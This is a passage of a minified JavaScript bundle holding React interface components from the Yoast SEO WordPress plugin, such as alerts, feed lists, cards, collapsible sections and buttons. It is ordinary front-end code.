`,h=(0,a.default)(d.default)`
	margin-top: 0.1rem;
	${(0,s.getDirectionalStyle)("margin-right: 8px","margin-left: 8px")};
`,b=(0,a.default)(u.default)`
	${(0,s.getDirectionalStyle)("margin: -8px -12px -8px 8px","margin: -8px 8px -12px -8px")};
	font-size: 24px;
	line-height: 1.4;
	color: ${e=>e.alertDismissColor};
	flex-shrink: 0;
	min-width: 36px;
	height: 36px;

	// Override the base button style: get rid of the button styling.
	padding: 0;

	&, &:hover, &:active {
		/* Inherits box-sizing: border-box so this doesn't change the rendered size. */
		border: 2px solid transparent;
		background: transparent;
		box-shadow: none;
		color: ${e=>e.alertDismissColor};
	}

	/* Inherits focus style from the Button component. */
	&:focus {
		background: transparent;
		color: ${e=>e.alertDismissColor};
		border-color: ${i.colors.$color_yoast_focus};
		box-shadow: 0px 0px 0px 3px ${i.colors.$color_yoast_focus_outer};
	}
`;class g extends n.default.Component{getTypeDisplayOptions(e){switch(e){case"error":return{color:i.colors.$color_alert_error_text,background:i.colors.$color_alert_error_background,icon:"alert-error"};case"info":return{color:i.colors.$color_alert_info_text,background:i.colors.$color_alert_info_background,icon:"alert-info"};case"success":return{color:i.colors.$color_alert_success_text,background:i.colors.$color_alert_success_background,icon:"alert-success"};case"warning":return{color:i.colors.$color_alert_warning_text,background:i.colors.$color_alert_warning_background,icon:"alert-warning"}}}render(){if(!0===this.props.isAlertDismissed)return null;const e=this.getTypeDisplayOptions(this.props.type),t=this.props.dismissAriaLabel||(0,l.__)("Dismiss this alert","wordpress-seo");
/* translators: Hidden accessibility text. */return n.default.createElement(f,{alertColor:e.color,alertBackground:e.background,className:this.props.className},n.default.createElement(h,{icon:e.icon,color:e.color}),n.default.createElement(p,null,this.props.children),"function"==typeof this.props.onDismissed?n.default.createElement(b,{alertDismissColor:e.color,onClick:this.props.onDismissed,"aria-label":t},"×"):null)}}g.propTypes={children:o.default.any.isRequired,type:o.default.oneOf(["error","info","success","warning"]).isRequired,onDismissed:o.default.func,isAlertDismissed:o.default.bool,dismissAriaLabel:o.default.string,className:o.default.string},g.defaultProps={onDismissed:null,isAlertDismissed:!1,dismissAriaLabel:"",className:""},t.default=g},47529:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(r(99196)),n=s(r(85890)),a=s(r(98487)),l=r(23695);function s(e){return e&&e.__esModule?e:{default:e}}const i=a.default.div`
	box-sizing: border-box;

	p {
		margin: 0;
		font-size: 14px;
	}
`,u=a.default.h3`
	margin: 8px 0;
	font-size: 1em;
`,d=a.default.ul`
	margin: 0;
	list-style: none;
	padding: 0;
`,c=(0,l.makeOutboundLink)(a.default.a`
	display: inline-block;
	margin-bottom: 4px;
	font-size: 14px;
`),f=a.default.li`
	margin: 8px 0;
`,p=a.default.div`
	a {
		margin: 8px 0 0;
	}
`,h=e=>o.default.createElement(f,{className:e.className},o.default.createElement(c,{className:`${e.className}-link`,href:e.link},e.title),o.default.createElement("p",{className:`${e.className}-description`},e.description));h.propTypes={className:n.default.string.isRequired,title:n.default.string.isRequired,link:n.default.string.isRequired,description:n.default.string.isRequired};const b=e=>o.default.createElement(i,{className:e.className},o.default.createElement(u,{className:`${e.className}__header`},e.title?e.title:e.feed.title),o.default.createElement(d,{className:`${e.className}__posts`,role:"list"},e.feed.items.map((t=>o.default.createElement(h,{className:`${e.className}__post`,key:t.link,title:t.title,link:t.link,description:t.description})))),e.footerLinkText&&o.default.createElement(p,{className:`${e.className}__footer`},o.default.createElement(c,{className:`${e.className}__footer-link`,href:e.feedLink?e.feedLink:e.feed.link},e.footerLinkText)));b.propTypes={className:n.default.string,feed:n.default.object.isRequired,title:n.default.string,footerLinkText:n.default.string,feedLink:n.default.string},b.defaultProps={className:"articlelist-feed"},t.default=b},79743:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.FullHeightCard=void 0;var o=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=d(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=n?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}(r(99196)),n=u(r(85890)),a=u(r(98487)),l=r(37188),s=r(23695),i=u(r(97230));function u(e){return e&&e.__esModule?e:{default:e}}function d(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(d=function(e){return e?r:t})(e)}const c=a.default.div`
	position: relative;
	display: flex;
	flex-direction: column;
	background-color: ${l.colors.$color_white};
	width: 100%;
	box-shadow: 0 2px 4px 0 rgba(0,0,0,0.2);
`,f=a.default.img`
	width: 100%;
	vertical-align: bottom;
`,p=a.default.div`
	padding: 12px 16px;
	display: flex;
	flex-direction: column;
	flex-grow: 1;
`,h=a.default.a`
	text-decoration: none;
	color: ${l.colors.$color_pink_dark};
	/* IE11 bug header image height see https://github.com/philipwalton/flexbugs#flexbug-5 */
	overflow: hidden;

	&:hover,
	&:focus,
	&:active {
		text-decoration: underline;
		color: ${l.colors.$color_pink_dark};
	}

	&:focus,
	&:active {
		box-shadow: none;
	}
`,b=a.default.h2`
	margin: 16px 16px 0 16px;
	font-weight: 400;
	font-size: 1.5em;
	line-height: 1.2;
	color: currentColor;
`,g=(0,s.makeOutboundLink)(h);class m extends o.default.Component{getHeader(){return this.props.header?this.props.header.link?o.default.createElement(g,{href:this.props.header.link},o.default.createElement(f,{src:this.props.header.image,alt:""}),o.default.createElement(b,null,this.props.header.title)):o.default.createElement(o.Fragment,null,o.default.createElement(f,{src:this.props.header.image,alt:""}),";",o.default.createElement(b,null,this.props.header.title)):null}getBanner(){return this.props.banner?o.default.createElement(i.default,this.props.banner,this.props.banner.text):null}render(){return o.default.createElement(c,{className:this.props.className,id:this.props.id},this.getHeader(),this.getBanner(),o.default.createElement(p,null,this.props.children))}}t.default=m,t.FullHeightCard=(0,a.default)(m)`
	height: 100%;
`,m.propTypes={className:n.default.string,id:n.default.string,header:n.default.shape({title:n.default.string,image:n.default.string.isRequired,link:n.default.string}),banner:n.default.shape({text:n.default.string.isRequired,textColor:n.default.string,backgroundColor:n.default.string}),children:n.default.any},m.defaultProps={className:"",id:"",header:null,banner:null,children:null}},97230:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=c;var o=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=i(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=n?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}(r(99196)),n=s(r(85890)),a=s(r(98487)),l=r(37188);function s(e){return e&&e.__esModule?e:{default:e}}function i(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(i=function(e){return e?r:t})(e)}const u=a.default.span`
	position: absolute;
	
	top: 8px;
	left: -8px;
	
	font-weight: 500;
	color: ${e=>e.textColor};
	line-height: 16px;
	
	background-color: ${e=>e.backgroundColor};
	padding: 8px 16px;
	box-shadow: 0 2px 4px 0 rgba(0, 0, 0, 0.2);
`,d=a.default.span`
	position: absolute;
	
	top: 40px;
	left: -8px;
	
	/* This code makes the triangle. */
	border-top: 8px solid ${l.colors.$color_purple_dark};
	border-left: 8px solid transparent;
`;function c(e){return o.default.createElement(o.Fragment,null,o.default.createElement(u,{backgroundColor:e.backgroundColor,textColor:e.textColor},e.children),o.default.createElement(d,null))}c.propTypes={backgroundColor:n.default.string,textColor:n.default.string,children:n.default.any},c.defaultProps={backgroundColor:l.colors.$color_pink_dark,textColor:l.colors.$color_white,children:null}},57272:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Collapsible=void 0,t.CollapsibleStateless=v,t.default=t.StyledIconsButton=t.StyledContainerTopLevel=t.StyledContainer=void 0,t.wrapInHeading=m;var o=r(23695),n=r(37188),a=r(92819),l=c(r(85890)),s=c(r(99196)),i=c(r(98487)),u=c(r(71875)),d=r(91752);function c(e){return e&&e.__esModule?e:{default:e}}function f(){return f=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},f.apply(this,arguments)}const p=i.default.div`
	padding: 0 16px;
	margin-bottom: 16px;
`,h=t.StyledContainer=i.default.div`
	background-color: ${n.colors.$color_white};
`,b=t.StyledContainerTopLevel=(0,i.default)(h)`
	border-top: var(--yoast-border-default);
`,g=t.StyledIconsButton=(0,i.default)(u.default)`
	width: 100%;
	background-color: ${n.colors.$color_white};
	padding: 16px;
	justify-content: flex-start;
	border-color: transparent;
	border: none;
	border-radius: 0;
	box-shadow: none;
	font-weight: normal;

	:focus {
		outline: 1px solid ${n.colors.$color_blue};
		outline-offset: -1px;
	}

	:active {
		box-shadow: none;
		background-color: ${n.colors.$color_white};
	}

	svg {
		${e=>e.hasSubTitle?"align-self: flex-start;":""}
		&:first-child {
			${(0,o.getDirectionalStyle)("margin-right: 8px","margin-left: 8px")};
		}
		&:last-child {
			${(0,o.getDirectionalStyle)("margin-left: 8px","margin-right: 8px")};
		}
	}
`;function m(e,t){const r=`h${t.level}`,o=(0,i.default)(r)`
		margin: 0 !important;
		padding: 0 !important;
		font-size: ${t.fontSize} !important;
		font-weight: ${t.fontWeight} !important;
		color: ${t.color} !important;

		${d.StyledTitle} {
			font-weight: ${t.fontWeight};
			color: ${t.color};
		}
	`;return function(t){return s.default.createElement(o,null,s.default.createElement(e,t))}}const y=m(g,{level:2,fontSize:"1rem",fontWeight:"normal"});function v(e){const{children:t,className:r,hasPadding:o,hasSeparator:n,Heading:a,id:l,isOpen:i,onToggle:u,prefixIcon:c,prefixIconCollapsed:f,suffixIcon:g,suffixIconCollapsed:m,subTitle:y,title:v,titleScreenReaderText:_}=e;let x=t;i&&o&&(x=s.default.createElement(p,{className:"collapsible_content"},t));const C=n?b:h;return s.default.createElement(C,{className:r},s.default.createElement(a,{id:l,"aria-expanded":i,onClick:u,prefixIcon:i?c:f,suffixIcon:i?g:m,hasSubTitle:!!y},s.default.createElement(d.SectionTitle,{title:v,titleScreenReaderText:_,subTitle:y})),x)}v.propTypes={children:l.default.oneOfType([l.default.arrayOf(l.default.node),l.default.node]),className:l.default.string,Heading:l.default.func,isOpen:l.default.bool.isRequired,hasSeparator:l.default.bool,hasPadding:l.default.bool,onToggle:l.default.func.isRequired,prefixIcon:l.default.shape({icon:l.default.string,color:l.default.string,size:l.default.string}),prefixIconCollapsed:l.default.shape({icon:l.default.string,color:l.default.string,size:l.default.string}),subTitle:l.default.string,suffixIcon:l.default.shape({icon:l.default.string,color:l.default.string,size:l.default.string}),suffixIconCollapsed:l.default.shape({icon:l.default.string,color:l.default.string,size:l.default.string}),title:l.default.string.isRequired,titleScreenReaderText:l.default.string,id:l.default.string},v.defaultProps={Heading:y,id:null,children:null,className:null,subTitle:null,titleScreenReaderText:null,hasSeparator:!1,hasPadding:!1,prefixIcon:null,prefixIconCollapsed:null,suffixIcon:null,suffixIconCollapsed:null};class _ extends s.default.Component{constructor(e){super(e),this.state={isOpen:e.initialIsOpen,headingProps:e.headingProps,Heading:m(g,e.headingProps)},this.toggleCollapse=this.toggleCollapse.bind(this)}static getDerivedStateFromProps(e,t){return e.headingProps.level!==t.headingProps.level||e.headingProps.fontSize!==t.headingProps.fontSize||e.headingProps.fontWeight!==t.headingProps.fontWeight||e.headingProps.color!==t.headingProps.color?{...t,headingProps:e.headingProps,Heading:m(g,e.headingProps)}:null}toggleCollapse(){const{isOpen:e}=this.state,{onToggle:t}=this.props;t&&!1===t(e)||this.setState({isOpen:!e})}render(){const{isOpen:e}=this.state,{children:t}=this.props,r=(0,a.omit)(this.props,["children","onToggle"]);return s.default.createElement(v,f({Heading:this.state.Heading,isOpen:e,onToggle:this.toggleCollapse},r),e&&t)}}t.Collapsible=_,_.propTypes={children:l.default.oneOfType([l.default.arrayOf(l.default.node),l.default.node]),className:l.default.string,initialIsOpen:l.default.bool,hasSeparator:l.default.bool,hasPadding:l.default.bool,prefixIcon:l.default.shape({icon:l.default.string,color:l.default.string,size:l.default.string}),prefixIconCollapsed:l.default.shape({icon:l.default.string,color:l.default.string,size:l.default.string}),suffixIcon:l.default.shape({icon:l.default.string,color:l.default.string,size:l.default.string}),suffixIconCollapsed:l.default.shape({icon:l.default.string,color:l.default.string,size:l.default.string}),title:l.default.string.isRequired,titleScreenReaderText:l.default.string,subTitle:l.default.string,headingProps:l.default.shape({level:l.default.number,fontSize:l.default.string,fontWeight:l.default.string,color:l.default.string}),onToggle:l.default.func},_.defaultProps={hasSeparator:!1,hasPadding:!1,initialIsOpen:!1,subTitle:null,titleScreenReaderText:null,children:null,className:null,prefixIcon:null,prefixIconCollapsed:null,suffixIcon:{icon:"chevron-up",color:n.colors.$black,size:"24px"},suffixIconCollapsed:{icon:"chevron-down",color:n.colors.$black,size:"24px"},headingProps:{level:2,fontSize:"1rem",fontWeight:"normal",color:n.colors.$color_headings},onToggle:null},t.default=_},69424:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=u(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=n?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}(r(99196)),n=i(r(85890)),a=i(r(98487)),l=r(37188),s=r(23695);function i(e){return e&&e.__esModule?e:{default:e}}function u(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(u=function(e){return e?r:t})(e)}const d=a.default.a`
	color: ${l.colors.$color_black};
	white-space: nowrap;
	display: block;
	border-radius: 4px;
	background-color: ${l.colors.$color_grey_cta};
	padding: 12px 16px;
	box-shadow: inset 0 -4px 0 rgba(0, 0, 0, 0.2);
	border: none;
	text-decoration: none;
	font-weight: bold;
	font-size: inherit;
	margin-bottom: 8px;

	&:hover,
	&:focus,
	&:active {
		color: ${l.colors.$color_black};
		background-color: ${l.colors.$color_grey_hover};
	}

	&:active {
		background-color: ${l.colors.$color_grey_hover};
		transform: translateY( 1px );
		box-shadow: none;
		filter: none;
	}
`,c=a.default.a`
	cursor: pointer;
	color: ${l.colors.$color_black};
	white-space: nowrap;
	display: block;
	border-radius: 4px;
	background-color: ${l.colors.$color_button_upsell};
	padding: 12px 16px;
	box-shadow: inset 0 -4px 0 rgba(0, 0, 0, 0.2);
	border: none;
	text-decoration: none;
	font-weight: bold;
	font-size: inherit;
	margin-top: 0;
	margin-bottom: 8px;

	&:hover,
	&:focus,
	&:active {
		color: ${l.colors.$color_black};
		background: ${l.colors.$color_button_upsell_hover};
	}

	&:active {
		background-color: ${l.colors.$color_button_hover_upsell};
		transform: translateY( 1px );
		box-shadow: none;
		filter: none;
	}
`,f=a.default.a`
	font-weight: bold;
`,p=(0,s.makeOutboundLink)(f),h=a.default.div`
	text-align: center;
`,b=a.default.div`
	ul {
		list-style-type: none;
		margin: 0;
		padding: 0;
	}

	li {
		position: relative;
		${(0,s.getDirectionalStyle)("margin-left","margin-right")}: 16px;

		&:before {
			content: "✓";
			color: ${l.colors.$color_green};
			position: absolute;
			font-weight: bold;
			display: inline-block;
			${(0,s.getDirectionalStyle)("left","right")}: -16px;
		}
	}
`,g=a.default.div`
	margin-bottom: 12px;
	border-bottom: 1px ${l.colors.$color_grey} solid;
	flex-grow: 1;
`;class m extends o.default.Component{getActionBlock(e,t){const r=(0,s.makeOutboundLink)(e);return"true"===t?o.default.createElement(h,null,o.default.createElement(r,{href:this.props.courseUrl},this.props.ctaButtonData.ctaButtonCopy)):o.default.createElement(h,null,o.default.createElement(r,{href:this.props.ctaButtonData.ctaButtonUrl},this.props.ctaButtonData.ctaButtonCopy),o.default.createElement(p,{href:this.props.courseUrl},this.props.readMoreLinkText))}render(){const e="regular"===this.props.ctaButtonData.ctaButtonType?d:c;return o.default.createElement(o.Fragment,null,o.default.createElement(g,null,o.default.createElement(b,{dangerouslySetInnerHTML:{__html:this.props.description}})),this.getActionBlock(e,this.props.isBundle))}}t.default=m,m.propTypes={description:n.default.string,courseUrl:n.default.string,ctaButtonData:n.default.object,readMoreLinkText:n.default.string,isBundle:n.default.string},m.defaultProps={description:"",courseUrl:"",ctaButtonData:{},readMoreLinkText:"",isBundle:""}},27938:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=u(r(99196)),n=u(r(85890)),a=u(r(98487)),l=r(65736),s=r(25158),i=r(37188);function u(e){return e&&e.__esModule?e:{default:e}}const d=a.default.p`
	text-align: center;
	margin: 0 0 16px;
	padding: 16px 16px 8px 16px;
	border-bottom: 4px solid ${i.colors.$color_bad};
	background: ${i.colors.$color_white};
`;class c extends o.default.Component{constructor(e){super(e),this.state={hasError:!1}}componentDidCatch(){this.setState({hasError:!0})}render(){if(this.state.hasError){const e=(0,l.__)("Something went wrong. Please reload the page.","wordpress-seo");return(0,s.speak)(e,"assertive"),o.default.createElement(d,null,e)}return this.props.children}}t.default=c,c.propTypes={children:n.default.any},c.defaultProps={children:null}},9802:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getId=t.default=void 0;const r=()=>Math.random().toString(36).substring(2,6);t.getId=e=>e||r(),t.default=r},33014:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=a(r(99196)),n=a(r(85890));function a(e){return e&&e.__esModule?e:{default:e}}const l=e=>{const t=`h${e.level}`;return o.default.createElement(t,{className:e.className},e.children)};l.propTypes={level:n.default.number,className:n.default.string,children:n.default.any},l.defaultProps={level:1},t.default=l},30812:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.helpTextPropType=t.default=void 0;var o=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=i(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=n?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}(r(99196)),n=s(r(85890)),a=s(r(98487)),l=r(37188);function s(e){return e&&e.__esModule?e:{default:e}}function i(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(i=function(e){return e?r:t})(e)}const u=a.default.p`
	color: ${e=>e.textColor};
	font-size: ${e=>e.textFontSize};
	margin-top: 0;
`;class d extends o.PureComponent{render(){const{children:e,textColor:t,textFontSize:r}=this.props;return o.default.createElement(u,{textColor:t,textFontSize:r},e)}}t.default=d;const c=t.helpTextPropType={children:n.default.oneOfType([n.default.string,n.default.array]),textColor:n.default.string,textFontSize:n.default.string};d.propTypes={...c,children:c.children.isRequired},d.defaultProps={textColor:l.colors.$color_help_text}},77844:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=s;var o=a(r(99196)),n=a(r(85890));function a(e){return e&&e.__esModule?e:{default:e}}function l(){return l=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},l.apply(this,arguments)}function s(e){return o.default.createElement("iframe",l({title:e.title},e))}s.propTypes={title:n.default.string.isRequired}},7992:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(r(99196)),n=s(r(85890)),a=s(r(98487)),l=s(r(16653));function s(e){return e&&e.__esModule?e:{default:e}}function i(){return i=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},i.apply(this,arguments)}const u=e=>{const t=(0,a.default)(e.icon)`
		width: ${e.width};
		height: ${e.height};
		${e.color?`fill: ${e.color};`:""}
		flex: 0 0 auto;
	`,r=(0,l.default)(e,["icon","width","height","color"]);return o.default.createElement(t,i({role:"img","aria-hidden":"true",focusable:"false"},r))};u.propTypes={icon:n.default.func.isRequired,width:n.default.string,height:n.default.string,color:n.default.string},u.defaultProps={width:"16px",height:"16px"},t.default=u},30856:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(r(99196)),n=s(r(85890)),a=r(37188),l=s(r(74102));function s(e){return e&&e.__esModule?e:{default:e}}const i=function(e){return o.default.createElement(l.default,{disabled:e.disabled,type:"button",onClick:e.onClick,pressed:e.pressed,onPointerEnter:e.onPointerEnter,onPointerLeave:e.onPointerLeave,unpressedBoxShadowColor:e.unpressedBoxShadowColor,pressedBoxShadowColor:e.pressedBoxShadowColor,pressedBackground:e.pressedBackground,unpressedBackground:e.unpressedBackground,id:e.id,"aria-label":e.ariaLabel,"aria-pressed":e.pressed,pressedIconColor:e.pressedIconColor,className:e.className},e.children)};i.propTypes={disabled:n.default.bool,children:n.default.node,id:n.default.string.isRequired,ariaLabel:n.default.string,onClick:n.default.func,onPointerEnter:n.default.func,onPointerLeave:n.default.func,unpressedBoxShadowColor:n.default.string,pressedBoxShadowColor:n.default.string,pressedBackground:n.default.string,unpressedBackground:n.default.string,pressedIconColor:n.default.string,pressed:n.default.bool.isRequired,className:n.default.string},i.defaultProps={disabled:!1,unpressedBoxShadowColor:a.colors.$color_button_border,pressedBoxShadowColor:a.colors.$color_purple,pressedBackground:"linear- gradient(to bottom right, #A61E69, #3B82F6)",unpressedBackground:"linear-gradient(to bottom right, #FAF3F7, #EFF6FF)",pressedIconColor:a.colors.$color_white,onClick:()=>{},onPointerEnter:()=>{},onPointerLeave:()=>{}},t.default=i},64213:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o,n=(o=r(98487))&&o.__esModule?o:{default:o},a=r(37188);const l=n.default.button`
	align-items: center;
	justify-content: center;
	box-sizing: border-box;
	min-width: 32px;
	display: inline-flex;
	border: 1px solid ${a.colors.$color_button_border};
	background-color: ${e=>e.pressed?e.pressedBackground:e.unpressedBackground};
	box-shadow: ${e=>e.pressed?`inset 0 2px 0 ${(0,a.rgba)(e.pressedBoxShadowColor,.7)}`:`0 1px 0 ${(0,a.rgba)(e.unpressedBoxShadowColor,.7)}`};
	border-radius: 3px;
	cursor: pointer;
	padding: 0;
	height: 24px;

	&:hover {
		border-color: ${e=>e.hoverBorderColor};
	}
	&:disabled {
		background-color: ${e=>e.unpressedBackground};
		box-shadow: none;
		border: none;
		cursor: default;
	}
`;t.default=l},21529:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=i(r(99196)),n=i(r(85890)),a=r(37188),l=i(r(78386)),s=i(r(64213));function i(e){return e&&e.__esModule?e:{default:e}}const u=function(e){const t="disabled"===e.marksButtonStatus;let r;return r=t?e.disabledIconColor:e.pressed?e.pressedIconColor:e.unpressedIconColor,o.default.createElement(s.default,{disabled:t,type:"button",onClick:e.onClick,pressed:e.pressed,unpressedBoxShadowColor:e.unpressedBoxShadowColor,pressedBoxShadowColor:e.pressedBoxShadowColor,pressedBackground:e.pressedBackground,unpressedBackground:e.unpressedBackground,id:e.id,"aria-label":e.ariaLabel,"aria-pressed":e.pressed,unpressedIconColor:t?e.disabledIconColor:e.unpressedIconColor,pressedIconColor:e.pressedIconColor,hoverBorderColor:e.hoverBorderColor,className:e.className},o.default.createElement(l.default,{icon:e.icon,color:r,size:"18px"}))};u.propTypes={id:n.default.string.isRequired,ariaLabel:n.default.string.isRequired,onClick:n.default.func.isRequired,unpressedBoxShadowColor:n.default.string,pressedBoxShadowColor:n.default.string,pressedBackground:n.default.string,unpressedBackground:n.default.string,pressedIconColor:n.default.string,unpressedIconColor:n.default.string,icon:n.default.string.isRequired,pressed:n.default.bool.isRequired,hoverBorderColor:n.default.string,marksButtonStatus:n.default.string,disabledIconColor:n.default.string,className:n.default.string},u.defaultProps={unpressedBoxShadowColor:a.colors.$color_button_border,pressedBoxShadowColor:a.colors.$color_purple,pressedBackground:a.colors.$color_pink_dark,unpressedBackground:a.colors.$color_button,pressedIconColor:a.colors.$color_white,unpressedIconColor:a.colors.$color_button_text,hoverBorderColor:a.colors.$color_white,marksButtonStatus:"enabled",disabledIconColor:a.colors.$color_grey},t.default=u},22027:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=i(r(99196)),n=i(r(98487)),a=i(r(85890)),l=r(37188),s=i(r(78386));function i(e){return e&&e.__esModule?e:{default:e}}const u=n.default.button`
	align-items: center;
	justify-content: center;
	box-sizing: border-box;
	min-width: 32px;
	display: inline-flex;
	border: 1px solid ${l.colors.$color_button_border};
	background-color: ${e=>e.background};
	box-shadow: ${e=>e.boxShadowColor};
	border-radius: 3px;
	cursor: pointer;
	padding: 0;
	height: 24px;
	&:hover {
		border-color: ${e=>e.hoverBorderColor};
	}
`,d=function(e){return o.default.createElement(u,{type:"button",onClick:e.onClick,boxShadowColor:e.boxShadowColor,background:e.background,id:e.id,"aria-label":e.ariaLabel,iconColor:e.iconColor,hoverBorderColor:e.hoverBorderColor,className:e.className},o.default.createElement(s.default,{icon:e.icon,color:e.iconColor,size:"18px"}))};d.propTypes={id:a.default.string.isRequired,ariaLabel:a.default.string.isRequired,onClick:a.default.func.isRequired,boxShadowColor:a.default.string,background:a.default.string,iconColor:a.default.string,icon:a.default.string.isRequired,hoverBorderColor:a.default.string,className:a.default.string},d.defaultProps={boxShadowColor:l.colors.$color_button_border,background:l.colors.$color_button,iconColor:l.colors.$color_button_text,hoverBorderColor:l.colors.$color_white},t.default=d},1453:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.SimulatedLabel=void 0;var o=l(r(99196)),n=l(r(85890)),a=l(r(98487));function l(e){return e&&e.__esModule?e:{default:e}}function s(){return s=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},s.apply(this,arguments)}t.SimulatedLabel=a.default.div`
	cursor: pointer;
	font-size: 14px;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	margin: 4px 0;
	color: #303030;
	font-weight: 500;
`;const i=e=>o.default.createElement("label",s({htmlFor:e.for,className:e.className},e.optionalAttributes),e.children);i.propTypes={for:n.default.string.isRequired,optionalAttributes:n.default.shape({"aria-label":n.default.string,onClick:n.default.func,className:n.default.string}),children:n.default.any.isRequired,className:n.default.string},i.defaultProps={className:"",optionalAttributes:{}},t.default=i},44722:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.languageNoticePropType=t.default=void 0;var o=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=d(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=n?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}(r(99196)),n=u(r(85890)),a=u(r(98487)),l=r(65736),s=u(r(96746)),i=r(23695);function u(e){return e&&e.__esModule?e:{default:e}}function d(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(d=function(e){return e?r:t})(e)}const c=a.default.p`
	margin: 1em 0;
`,f=(0,i.makeOutboundLink)(a.default.a`
	margin-left: 4px;
`);class p extends o.PureComponent{render(){const{changeLanguageLink:e,canChangeLanguage:t,language:r,showLanguageNotice:n}=this.props;if(!n)return null;
/* Translators: %s expands to the actual language. */let a=(0,l.__)("Your site language is set to %s. ","wordpress-seo");return t||(
/* Translators: %s expands to the actual language. */
